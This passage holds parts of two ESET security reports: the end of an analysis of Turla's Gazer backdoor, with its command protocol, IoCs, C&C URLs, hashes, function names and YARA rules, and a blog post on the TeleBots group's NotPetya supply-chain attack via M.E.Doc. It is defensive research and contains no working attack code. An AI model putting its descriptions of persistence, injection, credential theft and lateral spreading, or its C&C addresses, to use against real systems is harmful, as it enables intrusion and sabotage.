done for the GET request (using parameters with random values). Messages between components A global named pipe is used for the communication between the different components. The data sent through this named pipe is formatted in the following way: Datatype Figure 3. ID_CMD Message format DATATYPE: the same constants are used for the resources (check the File Format entry in the Resources section ID_CMD: the command name (check below for a complete list) MSG: the data to be sent Here is a listing of the different commands: CMC_TAKE_TASK (ID_CMD: 1) When a task is retrieved by the C&C server module, it is sent to the orchestrator, which stores the task in the task queue. CMC_TAKE_LOADER_BODY (ID_CMD: 2) Gazing at Gazer Turla s new second stage backdoor Wipe Gazer s original loader file, clean persistency and set up a copy of the loader and its persistency according to one of the resources (check persistency part for details). CMC_GIVE_RESULT (ID_CMD: 4) When this message is received, the orchestrator will retrieve the task s result from the result queue, compress and encrypt it using the server s public RSA key (the one from the resource 102) and send the blob to the communication module which will send the whole result to the server through a POST request. CMC_GIVE_SETTINGS (ID_CMD: 5) The communication module sends this message to the orchestrator to request the information needed to contact the server (list of the servers to contact, the last connection time and the victim ID). CMC_TAKE_CONFIRM_RESULT (ID_CMD: 6) When the communication module sends a task s result to the server, a message is sent to the orchestrator that will remove the task s result from the queue. CMC_TAKE_CAN_NOT_WORK (ID_CMD: 7) When an operation has failed (for example, if the communication module cannot correctly parse the data received from the orchestrator), this message is sent to the orchestrator with the last error code. The error code will be added to the logfile. CMC_TAKE_UNINSTALL (ID_CMD: 8) Used to wipe a file from the disk. CMC_TAKE_NOP (ID_CMD: 9) No operation CMC_NO_CONNECT_TO_GAZER (ID_CMD: 0xA) This command is sent to the orchestrator when the communication module cannot contact any of the servers. In this case, if a pending task s results are in the queue, they are stored encrypted in Gazer s storage. CMC_TAKE_LAST_CONNECTION (ID_CMD: 0xB) This command is sent from the communication module to the orchestrator each time a connection is established to the C&C server. It contains a structure SystemTime (filled with the current system time). Once the message is received by the orchestrator, the last connection date is stored compressed and encrypted in the Gazer storage (either the registry or ADS). CMC_GIVE_CACHE / CMC_TAKE_CACHE (ID_CMD: 0xC / 0xD) Not implemented Gazing at Gazer Turla s new second stage backdoor Gazer versions Four different versions have been identified. In the first version, the function used to write logs has as its parameter the real function name where the log occurs. There were also different methods used to inject code (the one documented in this whitepaper and one based on window injection). In a second version, the function names used as parameters are replaced by an ID and only one method is used for code injection. Also, the string NO OLD METHODS appears in this part of the code. Some samples from the first versions were signed with a valid certificate issued by Comodo for Solid Loop Ltd . The compilation date appears to be 2002 but is likely to be faked because the certificate was issued in 2015. The latest versions are signed with a different certificate: Ultimate Computer Support Ltd Figure 4. Certificates used to sign the malware variants Some efforts have been made to obfuscate strings that can be used as IoCs. The mutex name and the named pipe do not appear in cleartext anymore; they are now encoded with a XOR key. On the previous versions, the logfile names were hardcoded in the binary. The function GetTempFileNameA is now used to generate a random filename. The C&C server returns a 404 or 502 status code page, whereas it was only a 404 in the previous versions. In the latest versions compiled in 2017, the log messages are different (although they have the same meaning). For example: PE STORAGE is replaced by EXE SHELTER PE CRYPTO by CIPHER etc Last but not least, the compilation timestamp seems not to be faked anymore. In conclusion, Gazer is a very sophisticated piece of malware that has been used against different targets in several countries around the world. Through the different versions we found and analyzed, we can see that this malicious backdoor is still being actively developed and used by its creators. Indicators of Compromise can also be found on github. For any inquiries, or to make sample submissions related to the subject, contact us at: threatintel@eset.com. Gazing at Gazer Turla s new second stage backdoor IoCs Filenames %TEMP%\KB943729.log %TEMP%\CVRG72B5.tmp.cvr %TEMP%\CVRG1A6B.tmp.cvr %TEMP%\CVRG38D9.tmp.cvr %TEMP%\~DF1E06.tmp %HOMEPATH%\ntuser.dat.LOG3 %HOMEPATH%\AppData\Local\Adobe\AdobeUpdater.exe Registry keys HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver HKCU\Software\Microsoft\Windows NT\CurrentVersion\Explorer\ScreenSaver C&C URLs daybreakhealthcare.co.uk/wp-includes/themees.php simplecreative.design/wp-content/plugins/calculated-fields-form/single.php 169.255.137.203/rss_0.php outletpiumini.springwaterfeatures.com/wp-includes/pomo/settings.php zerogov.com/wp-content/plugins.deactivate/paypal-donations/src/PaypalDonations/SimpleSubsribe. ales.ball-mill.es/ckfinder/core/connector/php/php4/CommandHandler/CommandHandler.php dyskurs.com.ua/wp-admin/includes/map-menu.php warrixmalaysia.com.my/wp-content/plugins/jetpack/modules/contact-form/grunion-table-form.php 217.171.86.137/config.php 217.171.86.137/rss_0.php shinestars-lifestyle.com/old_shinstar/includes/old/front_footer.old.php www.aviasiya.com/murad.by/life/wp-content/plugins/wp-accounting/inc/pages/page-search.php baby.greenweb.co.il/wp-content/themes/san-kloud/admin.php soligro.com/wp-includes/pomo/db.php giadinhvabe.net/wp-content/themes/viettemp/out/css/class.php tekfordummies.com/wp-content/plugins/social-auto-poster/includes/libraries/delicious/Delicious.php kennynguyen.esy.es/wp-content/plugins/wp-statistics/vendor/maxmind-db/reader/tests/MaxMind/Db/ test/Reader/BuildTest.php sonneteck.com/wp-content/plugins/yith-woocommerce-wishlist/plugin-fw/licence/templates/panel/ activation/activation.php chagiocaxuanson.esy.es/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/ ngglegacy/admin/templates/manage_gallery/gallery_preview_page_field.old.php hotnews.16mb.com/wp-content/themes/twentysixteen/template-parts/content-header.php zszinhyosz.pe.hu/wp-content/themes/twentyfourteen/page-templates/full-hight.php weandcats.com/wp-content/plugins/broken-link-checker/modules/checkers/http-module.php Mutexes {531511FA-190D-5D85-8A4A-279F2F592CC7} Gazing at Gazer Turla s new second stage backdoor Hashes Table 6. Gazer sample hashes SHA1 hash Component 27fa78de705ebaa4b11c4b5fe7277f91906b3f92 Gazer wiper x32 35f205367e2e5f8a121925bbae6ff07626b526a7 Gazer loader x32 b151cd7c4f9e53a8dcbdeb7ce61ccdd146eb68ab e40bb5beec5678537e8fe537f872b2ad6b77e08a 522e5f02c06ad215c9d0c23c5a6a523d34ae4e91 c380038a57ffb8c064851b898f630312fabcbba7 267f144d771b4e2832798485108decd505cb824a 52f6d09cccdbc38d66c184521e7ccf6b28c4b4d9 475c59744accb09724dae610763b7284646ab63f 22542a3245d52b7bcdb3eaef5b8b2693f451f497 2b9faa8b0fcadac710c7b2b93d492ff1028b5291 e05ab6978c17724b7c874f44f8a6cbfb1c56418d 6dec3438d212b67356200bbac5ec7fa41c716d86 b548863df838069455a76d2a63327434c02d0d9d Gazer loader x32 Gazer loader x32 Gazer loader x64 Gazer loader x64 Gazer loader x64 Gazer loader x32 Gazer loader x32 Gazer loader x32 Gazer loader x64 Gazer loader x64 Gazer loader x64 Gazer loader x64 Compilation Time 07/04/2016 15:04:24 05/02/2002 17:36:10 05/02/2002 17:36:10 05/02/2002 17:36:10 05/02/2002 17:36:26 05/02/2002 17:36:26 05/02/2002 17:36:26 04/10/2002 18:31:37 04/10/2002 18:31:37 04/10/2002 18:31:37 04/10/2002 18:34:18 04/10/2002 18:34:18 04/10/2002 18:34:18 09/01/2016 19:30:10 Certificate Eset Detection Name not signed Win32/Turla.CL admin@solidloop.org valid from 14/10/2015 Win32/Turla.CC to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win32/Turla.CC to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win32/Turla.CC to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win64/Turla.AA to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win64/Turla.AA to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win64/Turla.AA to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win32/Turla.CC to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win32/Turla.CC to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win32/Turla.CC to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win64/Turla.AA to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win64/Turla.AA to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win64/Turla.AA to 14/10/2016 not signed Win64/Turla.AA admin@ c3e6511377dfe85a34e19b33575870dda8884c3c Gazer loader x64 06/02/2016 ultimatecomsup.biz 19:29:15 valid from 16/12/2015 Win64/Turla.AA to 16/12/2017 admin@ 9ff4f59ca26388c37d0b1f0e0b22322d926e294a Gazer loader x64 16/02/2016 ultimatecomsup.biz 16:00:44 valid from 16/12/2015 to 16/12/2017 Win64/Turla.AA Gazing at Gazer Turla s new second stage backdoor SHA1 hash Component Compilation Time Certificate 18/02/2016 ultimatecomsup.biz 15:29:58 valid from 16/12/2015 Eset Detection Name admin@ 029aa51549d0b9222db49a53d2604d79ad1c1e59 Gazer loader x64 Win64/Turla.AA to 16/12/2017 admin@ cecc70f2b2d50269191336219a8f893d45f5e979 Gazer loader x64 01/01/2017 ultimatecomsup.biz 08:39:30 valid from 16/12/2015 Win64/Turla.AG to 16/12/2017 admin@ 7fac4fc130637afab31c56ce0a01e555d5dea40d Gazer loader x64 11/06/2017 ultimatecomsup.biz 23:43:51 valid from 16/12/2015 Win64/Turla.AD to 16/12/2017 admin@ 5838a51426ca6095b1c92b87e1be22276c21a044 Gazer loader x32 19/06/2017 ultimatecomsup.biz 01:28:51 valid from 16/12/2015 Win32/Turla.CF to 16/12/2017 admin@ 3944253f6b7019eed496fad756f4651be0e282b4 Gazer loader x64 19/06/2017 ultimatecomsup.biz 01:30:00 valid from 16/12/2015 Win64/Turla.AD to 16/12/2017 228da957a9ed661e17e00efba8e923fd17fae054 295d142a7bdced124fdcc8edfe49b9f3acceab8a 0f97f599fab7f8057424340c246d3a836c141782 dbb185e493a0fdc959763533d86d73f986409f1b 4701828dee543b994ed2578b9e0d3991f22bd827 6fd611667ba19691958b5b72673b9b802edd7ff8 fcabeb735c51e2b8eb6fb07bda8b95401d069bd8 75831df9cbcfd7bf812511148d2a0f117324a75f bae3ae65c32838fb52a0f5ad2cde8659d2bff9f3 37ff6841419adc51eeb8756660b2fb46f3eb24ed 9e6de3577b463451b7afce24ab646ef62ad6c2bd 795c6ee27b147ff0a05c0477f70477e315916e0e 8184ad9d6bbd03e99a397f8e925fa66cfbe5cf1b 7ced96b08d7593e28fee616eccbc6338896517cf 63c534630c2ce0070ad203f9704f1526e83ae586 23f1e3be3175d49e7b262cd88cfd517694dcba18 Gazer 05/02/2002 orchestrator x32 Gazer 17:31:28 05/02/2002 orchestrator x32 Gazer 17:31:28 05/02/2002 orchestrator x32 Gazer 17:31:28 05/02/2002 orchestrator x32 Gazer 17:31:28 05/02/2002 orchestrator x64 Gazer 17:34:25 05/02/2002 orchestrator x64 Gazer 17:34:25 05/02/2002 orchestrator x64 Gazer 17:34:25 04/10/2002 orchestrator x32 Gazer 18:31:28 04/10/2002 orchestrator x32 Gazer 18:31:28 04/10/2002 orchestrator x64 Gazer 18:33:02 04/10/2002 orchestrator x64 Gazer 18:33:02 04/10/2002 orchestrator x64 Gazer 18:33:02 09/01/2016 orchestrator x64 Gazer 19:28:29 06/02/2016 orchestrator x64 Gazer 19:29:04 06/02/2016 orchestrator x64 Gazer 19:29:04 18/02/2016 orchestrator x64 15:29:32 not signed Win32/Turla.CF not signed Win32/Turla.CF not signed Win32/Turla.CF not signed Win32/Turla.CC not signed Win64/Turla.AA not signed Win64/Turla.AA not signed Win64/Turla.AA not signed Win32/Turla.CC not signed Win32/Turla.CC not signed Win64/Turla.AA not signed Win64/Turla.AA not signed Win64/Turla.AA not signed Win64/Turla.AA not signed Win64/Turla.AA not signed Win64/Turla.AA not signed Win64/Turla.AA Gazing at Gazer Turla s new second stage backdoor SHA1 hash 7a6f1486269abdc1d658db618dc3c6f2ac85a4a7 11b35320fb1cf21d2e57770d8d8b237eb4330eaa e8a2bad87027f2bf3ecae477f805de13fccc0181 950f0b0c7701835c5fbdb6c5698a04b8afe068e6 Component Compilation Time Gazer 01/01/2017 orchestrator x64 Gazer 08:39:19 11/06/2017 orchestrator x64 Gazer 23:42:28 19/06/2017 orchestrator x32 Gazer 01:28:21 19/06/2017 orchestrator x64 01:29:46 a5eec8c6aadf784994bf68d9d937bb7af3684d5c Gazer comm x64 411ef895fe8dd4e040e8bf4048f4327f917e5724 Gazer comm x32 c1288df9022bcd2c0a217b1536dfa83928768d06 Gazer comm x32 4b6ef62d5d59f2fe7f245dd3042dc7b83e3cc923 Gazer comm x32 7f54f9f2a6909062988ae87c1337f3cf38d68d35 Gazer wiper x32 05/02/2002 17:57:07 05/02/2002 17:58:22 06/02/2016 19:23:52 11/06/2017 23:44:24 05/02/2002 17:39:07 Certificate Eset Detection Name not signed Win64/Turla.AG not signed Win64/Turla.AD not signed Win32/Turla.CF not signed Win64/Turla.AD admin@solidloop.org valid from 14/10/2015 Win64/Turla.AH to 14/10/2016 admin@solidloop.org valid from 14/10/2015 Win32/Turla.CC to 14/10/2016 not signed Win32/Turla.CC not signed Win32/Turla.CF admin@solidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.CL Gazing at Gazer Turla s new second stage backdoor Appendices Function names There are a few samples of Gazer that use the current function name as first parameter for the log function. Here is a list of some function names used in Gazer: AutorunManager Class AutorunManager::~AutorunManger AutorunManager::Init AutorunManger::ReInit AutorunManager::BuildAutorunSettings AutorunManager::FreeAutorunsSettings AutorunManager::FullCheck AutorunManager::StartAutorunEx AutorunManager::FullStart HiddenTaskAutorun Class HiddenTaskAutorun::IsPathsEqual LinkAutorun Class LinkAutorunClass::InfectLnkFile LinkAutorunClass::ClearLnkFile LinkAutorunClass::CheckLnkFile RemoteImport32 Class RemoteImport32::RemoteImport32 RemoteImport32::GetRemoteProcAddress RemoteImport32::GetRemoteModuleHandle ScreenSaverAutorun Class ScreenSaverAutorun::ChangeScreenSaver ScreenSaverAutorun::WndProc1 ScreenSaverAutorun::GetMessageThreadProc ScreenSaverAutorun::CreateHiddenWindow ScreenSaverAutorun::CloseHiddenWindow ShellAutorun Class ShellAutorun::AutorunInstallEx ShellAutorun::AutorunUninstallEx ShellAutorun::AutorunCheckEx ShellAutorun::IsPathsEqual StartupAutorun Class StartupAutorun::AutorunInstallEx StartupAutorun::AutorunUninstallEx StartupAutorun::AutorunCheckEx StartupAutorun::IsPathsEqual TaskScheduler20Autorun Class TaskScheduler20Autorun::Init TaskScheduler20Autorun::AutorunCheckEx TaskScheduler20Autorun::AutorunInstallEx TaskScheduler20Autorun::AutorunUninstallEx TaskScheduler20Autorun::IsPathsEqual Gazing at Gazer Turla s new second stage backdoor DllInjector Class DllInjector::LoadDllToProcess DllInjector::GetProcHandle DllInjector::CheckDllAndSetPlatform DllInjector::CopyDllFromBuffer DllInjector::MapLibrary DllInjector::Map86Library_tox64 DllInjector::CallEntryPoint DllInjector::FindDllImageBase DllInjector::WindowInject InjectManager Class InjectManager::~InjectManager InjectManager::BuildInjectSettingsList InjectManager::FreeInjectSettingsList InjectManager::Stop InjectManager::DetachAll InjectManager::FindAndInjectInVictim InjectManager::FindProcessSimple2 InjectManager::LoadNtdll InjectManager::UnLoadNtdll InjectManager::LoadWinsta InjectManager::UnLoadWinsta InjectManager::SetStatusTransportDll InjectManager::GetTransportState InjectManager::DestroyManuallyCreatedVictim InjectManager::VictimManualCreateIE TNPTransport Class TNPTransport::Init TNPTransport::ReInit TNPTransport::~TNPTransport TNPTransport::Receive TNPTransport::RunServer TNPTransport::ServerProc ExeStorage Class ExeStorage::Migrate ExeStorage::SecureHeapFree FSStorage Class FSStorage::~FSStorage FSStorage::Init FSStorage::GetBlock FSStorage::GetListBlock FSStorage::Migrate FSStorage::SecureHeapFree FSStorage::Update FSStorage::Empty RegStorage Class RegStorage::~RegStorage RegStorage::Init RegStorage::FreeList Gazing at Gazer Turla s new second stage backdoor RegStorage::GetListBlock RegStorage::DeleteListBlock RegStorage::Migrate RegStorage::SecureHeapFree RegStorage::Update RegStorage::Empty ResultQueue Class ResultQueue::~ResultQueue ResultQueue::DumpQueueToStorage ResultQueue::RestoreFromStorage ResultQueue::ClearQueue ResultQueue::RemoveResult ResultQueue::GetNextResultToSendWithModule ResultQueue::SetPredeterminedResult ResultQueue::print TaskQueue Class TaskQueue::~TaskQueue TaskQueue::DumpQueueToStorage TaskQueue::RestoreFromStorage TaskQueue::ClearQueue TaskQueue::RemoveCompletedTasks TaskQueue::print CExecutionSubsystem Class CExecutionSubsystem::~CExecutionSubsystem CExecutionSubsystem::Stop CExecutionSubsystem::TaskExecusion CExecutionSubsystem::TaskConfigure CExecutionSubsystem::TaskUpload CExecutionSubsystem::TaskDownload CExecutionSubsystem::TaskReplacement CExecutionSubsystem::TaskDelete CExecutionSubsystem::TaskPacketLocalTransport CExecutionSubsystem::FinishTask CExecutionSubsystem::PushTaskResult CExecutionSubsystem::UpdateStorage CMessageProcessingSystem Class CMessageProcessingSystem::~CMessageProcessing CMessageProcessingSystem::ListenerCallBack CMessageProcessingSystem::WaitShutdownModule CMessageProcessingSystem::SetCompulsorySMC CMessageProcessingSystem::UnSetCompulsorySMC CMessageProcessingSystem::IsCompulsorySMC CMessageProcessingSystem::GetCompulsorySMC CMessageProcessingSystem::Receive_TAKE_NOP CMessageProcessingSystem::Receive_GIVE_SETTINGS CMessageProcessingSystem::Receive_TAKE_CAN_NOT_WORK CMessageProcessingSystem::Receive_GIVE_CACHE CMessageProcessingSystem::Receive_TAKE_CACHE CMessageProcessingSystem::Receive_TAKE_TASK CMessageProcessingSystem::Receive_GIVE_RESULT Gazing at Gazer Turla s new second stage backdoor CMessageProcessingSystem::Receive_TAKE_CONFIRM_RESULT CMessageProcessingSystem::Receive_TAKE_LOADER_BODY CMessageProcessingSystem::Receive_TAKE_UNINSTALL CMessageProcessingSystem::Receive_NO_CONNECT_TO_Gazer CMessageProcessingSystem::Receive_TAKE_LAST_CONNECTION CMessageProcessingSystem::Send_TAKE_FIN CMessageProcessingSystem::Send_TAKE_SHUTDOWN CMessageProcessingSystem::Send_TAKE_SETTINGS CMessageProcessingSystem::Send_TAKE_RESULT Crypto Class Crypto::GetPublicKey Crypto::EncryptRSA Crypto::Sign Crypto::EncryptAndSignBufferRSAEx Crypto::DecryptRSA Crypto::Verify Crypto::DecryptAndVerifyBufferRSAEx Crypto::EncryptAndSignBufferRSA1 Crypto::EncryptAndSignBufferRSAC Crypto::DecryptAndVerifyBufferRSA0 Crypto::DecryptAndVerifyBufferRSA1 Crypto::DecryptAndVerifyBufferRSAL Crypto::VerifyLoaderFile Crypto::VerifyLoader Crypto::CompressBuffer Crypto::DecompressBuffer LTManager Class LTManager::~LTManager LTManager::Init LTManager::GetResultFromQueue LTManager::SetResultToCache LTManager::GetTaskFromCache LTManager::SetTaskToQueue LTManager::IsSendPacketFurtherOnRoute LTManager::SendPacketNextRouteUnit LTManager::SetCache LTManager::SetPacket LTManager::DumpCacheToStorage LTManager::DeSerializeCache LTManager::DeSerializePacket LTManager::DeSerializeRoute LTManager::DeSerializeTask LTManager::DeSerializeResult LTManager::SerializeCache LTManager::SerializePacket LTManager::SerialiazeRoute LTManager::SerializeTask LTManager::SerializeResult LTManager::ClearCache LTManager::ClearPacket LTManager::ClearRoute Gazing at Gazer Turla s new second stage backdoor LTManager::ClearTask LTManager::ClearResult LTManager::PrintCache LTManager::CreateEvents LTManager::SetEvents LTManager::ResetEvents LTManager::WaitEvents LTManager::DeleteEvents LTMessageProcessing Class LTMessageProcessing::ListenerCallBack LTMessageProcessing::Send_TAKE_OK LTMessageProcessing::Send_TAKE_ERROR_CRYPT LTMessageProcessing::Send_TAKE_ERROR_UNKNOWN LTNamedPipe Class LTNamedPipe::ReInit LTNamedPipe::BuildLocalTransportSettings LTNamedPipe::~LTNamedPipe LTNamedPipe::Receive LTNamedPipe::RunServer LTNamedPipe::Stop LTNamedPipe::CreateNewNPInstance LTNamedPipe::ServerProc LTNamedPipe::ClientCommunication Yara rules import import math import hash rule Gazer_certificate_subject { condition: for any i in (0..pe.number_of_signatures - 1): (pe.signatures[i].subject contains Solid Loop pe.signatures[i].subject contains Ultimate Computer Support rule Gazer_certificate strings: $certif1 = {52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02} $certif2 = {12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c} condition: (uint16(0) == 0x5a4d) and 1 of them and filesize < 2MB rule Gazer_logfile_name strings: $s1 = CVRG72B5.tmp.cvr $s2 = CVRG1A6B.tmp.cvr $s3 = CVRG38D9.tmp.cvr condition: (uint16(0) == 0x5a4d) and 1 of them TeleBots are back: Supply-chain attacks against Ukraine welivesecurity.com /2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/ 6/30/2017 By Anton Cherepanov posted 30 Jun 2017 - 03:30PM Ransomware The latest Petya-like outbreak has gathered a lot of attention from the media. However, it should be noted that this was not an isolated incident: this is the latest in a series of similar attacks in Ukraine. This blogpost reveals many details about the Diskcoder.C (aka ExPetr, PetrWrap, Petya, or NotPetya) outbreak and related information about previously unpublished attacks. 1/11 Figure 1 The timeline of supply-chain attacks in Ukraine. TeleBots In December 2016 we published two detailed blogposts about disruptive attacks conducted by the group ESET researchers call TeleBots, specifically about attacks against financial institutions and a Linux version of the KillDisk malware used by this group. The group mounted cyberattacks against various computer systems in Ukraine; systems that can be defined as critical infrastructure. Moreover, this group has connections with the infamous BlackEnergy group that was responsible for the December 2015 power outages in Ukraine. In the final stage of its attacks, the TeleBots group always used the KillDisk malware to overwrite files with specific file extensions on the victims disks. Putting the cart before the horse: collecting ransom money was never the top priority for the TeleBots group. The KillDisk malware used in the first wave of December 2016 attacks, instead of encrypting, simply overwrites targeted files. Further, it did not provide contact information for communicating with the attacker; it just displayed an image from the Mr. Robot TV show. 2/11 Figure 2 The picture displayed by KillDisk malware in the first wave of December 2016 attacks. In the second wave of attacks, the cybersaboteurs behind the KillDisk malware added contact information to the malware, so it would look like a typical ransomware attack. However, the attackers asked for an extraordinary number of bitcoins: 222 BTC (about $250,000 at that time). This might indicate that they were not interested in bitcoins, but their actual aim was to cause damage to attacked companies. Figure 3 The ransom demand displayed by KillDisk in the second wave of December 2016 attacks. In 2017, the TeleBots group didn t stop their cyberattacks; in fact, they became more sophisticated. In the period between January and March 2017 the TeleBots attackers compromised a software company in Ukraine (not related to M.E. Doc), and, using VPN tunnels from there, gained access to the internal networks of several financial institutions. During that attack, those behind TeleBots enhanced their arsenal with two pieces of ransomware and updated versions of tools mentioned in the previously-linked blogposts. The first backdoor that the TeleBots group relied heavily on was Python/TeleBot.A, which was rewritten from Python 3/11 in the Rust programming language. The functionality remains the same: it is a standard backdoor that uses the Telegram Bot API in order to receive commands from, and send responses to, the malware operator. Figure 4 Disassembled code of the Win32/TeleBot.AB trojan. The second backdoor, which was written in VBS and packaged using the script2exe program, was heavily obfuscated but the functionality remained the same as in previous attacks. Figure 5 The obfuscated version of the VBS backdoor. This time the VBS backdoor used the C&C server at 130.185.250[.]171. To make connections less suspicious for those who check firewall logs, the attackers registered the domain transfinance.com[.]ua and hosted it on that IP address. As is evident from Figure 6 this server was also running the Tor relay named severalwdadwajunior. 4/11 Figure 6 Information about Tor relay run by the TeleBots group. In addition, the attacker used the following tools: CredRaptor (password stealer) Plainpwd (modified Mimikatz used for recovering Windows credentials from memory) SysInternals PsExec (used for lateral movement) As mentioned above, in the final stage of their attacks, the TeleBots attackers pushed ransomware using stolen Windows credentials and SysInternals PsExec. This new ransomware was detected by ESET products as Win32/Filecoder.NKH. Once executed, this ransomware encrypts all files (except files located in the C:\Windows directory) using AES-128 and RSA-1024 algorithms. The malware adds the .xcrypted file extension to alreadyencrypted files. When encryption is done, this filecoder malware creates a text file !readme.txt with the following content: Please contact us: openy0urm1nd@protonmail.ch In addition to Windows malware, the TeleBots group used Linux ransomware on non-Windows servers. This ransomware is detected by ESET products as Python/Filecoder.R and, predictably, it is written in the Python programming language. This time attackers execute third-party utilities such as openssl in order to encrypt files. The encryption is done using the RSA-2048 and AES-256 algorithms. 5/11 Figure 7 Python code of Linux ransomware Python/Filecoder.R used by the TeleBots group. In the code of Python script, attackers left their comment which had following text: feedback: openy0urm1nd[@]protonmail.ch Win32/Filecoder.AESNI.C On 18 May 2017, we noticed new activity on the part of another ransomware family Win32/Filecoder.AESNI.C (also referred to as XData). This ransomware was spread mostly in Ukraine, because of an interesting initial vector. According to our LiveGrid telemetry, the malware was created right after execution of the M.E.Doc software that is widely used by accounting personnel in Ukraine. The Win32/Filecoder.AESNI.C ransomware had a spreading mechanism that allowed it to perform lateral movement automatically, inside a compromised company LAN. Specifically, the malware had an embedded Mimikatz DLL that it used to extract Windows account credentials from the memory of a compromised PC. With these credentials, the malware started to spread inside its host network using SysInternals PsExec utility. It seems that the attackers either did not reach their goal on that occasion, or it was the test before a more effective strike. The attackers posted master decryption keys on the BleepingComputer forum, along with the assertion that this was done because the original author claimed that the source was stolen and used in the Ukraine incident. ESET published a decryption tool for Win32/Filecoder.AESNI ransomware, and this event didn t gain much media attention. Diskcoder.C (aka Petya-like) outbreak What did gain a lot of media attention, however, was the Petya-like outbreak of 27 June, 2017, because it successfully compromised a lot of systems in critical infrastructure and other businesses in Ukraine, and further afield. The malware in this attack has the ability to replace the Master Boot Record (MBR) with its own malicious code. This code was borrowed from Win32/Diskcoder.Petya ransomware. That s why some other malware researchers 6/11 have named this threat as ExPetr, PetrWrap, Petya, or NotPetya. However, unlike the original Petya ransomware, Diskcoder.C s authors modified the MBR code in such a way that recovery won t be possible. Specifically, the attacker cannot provide a decryption key and the decryption key cannot be typed in the ransom screen, because the generated key contains non-acceptable characters. Visually this MBR part of Diskcoder.C looks like a slightly modified version of Petya: at first it displays a message that impersonates CHKDSK, Microsoft s disk checking utility. During the faux CHKDISK scan Diskcoder.C actually encrypts the data. Figure 8 Fake CHKDSK message displayed by Diskcoder.C. When encryption is complete, the MBR code displays the next message with payment instructions, but as noted before this information is useless. Figure 9 Diskcoder.C message with payment instructions. The remainder of the code, other than the borrowed MBR, was implemented by the authors themselves. This includes file encryption that can be used as a complement to the disk-encrypting MBR. For file encryption, the 7/11 malware uses the AES-128 and RSA-2048 algorithms. It should be noted that the authors made mistakes that make decryption of files less possible. Specifically, the malware encrypts only the first 1MB of data and it does not write any header or footer, only raw encrypted data and does not rename encrypted files, so it s hard to say which files are encrypted and which are not. In addition to that, files that are larger than 1MB after encryption do not contain padding, so there is no way to verify the key. Interestingly, the list of target file extensions is not identical but is very similar to the file extensions list from the KillDisk malware used in the December 2016 attacks. Figure 10 List of target file extensions from Diskcoder.C. Once the malware is executed it attempts to spread using the infamous EternalBlue exploit, leveraging the DoublePulsar kernel-mode backdoor. Exactly the same method was used in the WannaCryptor.D ransomware. Diskcoder.C also adopted the method from the Win32/Filecoder.AESNI.C (aka XData) ransomware: it uses a lightweight version of Mimikatz to obtain credentials and then executes the malware using SysInternals PsExec on other machines on the LAN. In addition to that, the attackers implemented a third method of spreading using a WMI mechanism. All three of these methods have been used to spread malware inside LANs. Unlike the infamous WannaCryptor malware, the EternalBlue exploit is used by Diskcoder.C only against computers within the local network address space. Why are there infections in other countries than Ukraine? Our investigation revealed that affected companies in other countries had VPN connections to their branches, or to business partners, in Ukraine. Initial infection vector Both Diskcoder.C and Win32/Filecoder.AESNI.C used a supply-chain attack as the initial infection vector. These malware families were spread using Ukrainian accounting software called M.E.Doc. There are several options for how this attack can be implemented. The M.E.Doc has an internal messaging and document exchange system so attackers could send spearphishing messages to victims. User interaction is required in order to execute something malicious in this way. Thus, social engineering techniques would be involved. Since Win32/Filecoder.AESNI.C didn t spread so widely, we mistakenly assumed that these techniques were used in this case. However, the subsequent Diskcoder.C outbreak suggests that the attackers had access to the update server of the legitimate software. Using access to this server, attackers pushed a malicious update that was applied automatically without user interaction. That s why so many systems in Ukraine were affected by this attack. However, it seems like the malware authors underestimated the spreading capabilities of Diskcoder.C. ESET researchers found evidence that supports this theory. Specifically, we identified a malicious PHP backdoor that was deployed under medoc_online.php in one of the FTP directories on M.E.Doc s server. This backdoor was accessible from HTTP; however, it was encrypted, so the attacker would have to have the password in order to use 8/11 Figure 11 Listing of FTP directory containing the PHP backdoor. We should say that there are signs that suggest that Diskcoder.C and Win32/Filecoder.AESNI.C were not the only malware families that were deployed using that infection vector. We can speculate that these malicious updates were deployed in a stealthy way to computer networks that belong to high-value targets. One such malware that was deployed via this possible compromised M.E.Doc update server mechanism was the VBS backdoor used by the TeleBots group. This time the attacker again used a financially-themed domain name: bankstat.kiev[.]ua. On the day of the Diskcoder.C outbreak, the A-record of this domain was changed to 10.0.0.1 Conclusions The TeleBots group continues to evolve in order to conduct disruptive attacks against Ukraine. Instead of spearphishing emails with documents containing malicious macros, they used a more sophisticated scheme known as a supply-chain attack. Prior to the outbreak, the Telebots group targeted mainly the financial sector. The latest outbreak was directed against businesses in Ukraine, but they apparently underestimated the malware spreading capabilities. That s why the malware went out of control. Indicators of Compromise (IoC) ESET detection names: Win32/TeleBot trojan VBS/Agent.BB trojan VBS/Agent.BD trojan VBS/Agent.BE trojan Win32/PSW.Agent.ODE trojan Win64/PSW.Agent.K trojan Python/Filecoder.R trojan Win32/Filecoder.AESNI.C trojan Win32/Filecoder.NKH trojan Win32/Diskcoder.C trojan Win64/Riskware.Mimikatz application Win32/RiskWare.Mimikatz application C&C servers: 9/11 transfinance.com[.]ua (IP: 130.185.250.171) bankstat.kiev[.]ua (IP: 82.221.128.27) www.capital-investing.com[.]ua (IP: 82.221.131.52) Legitimate servers abused by malware authors: api.telegram.org (IP: 149.154.167.200, 149.154.167.197, 149.154.167.198, 149.154.167.199) VBS backdoor: 1557E59985FAAB8EE3630641378D232541A8F6F9 31098779CE95235FED873FF32BB547FFF02AC2F5 CF7B558726527551CDD94D71F7F21E2757ECD109 Mimikatz: 91D955D6AC6264FBD4324DB2202F68D097DEB241 DCF47141069AECF6291746D4CDF10A6482F2EE2B 4CEA7E552C82FA986A8D99F9DF0EA04802C5AB5D 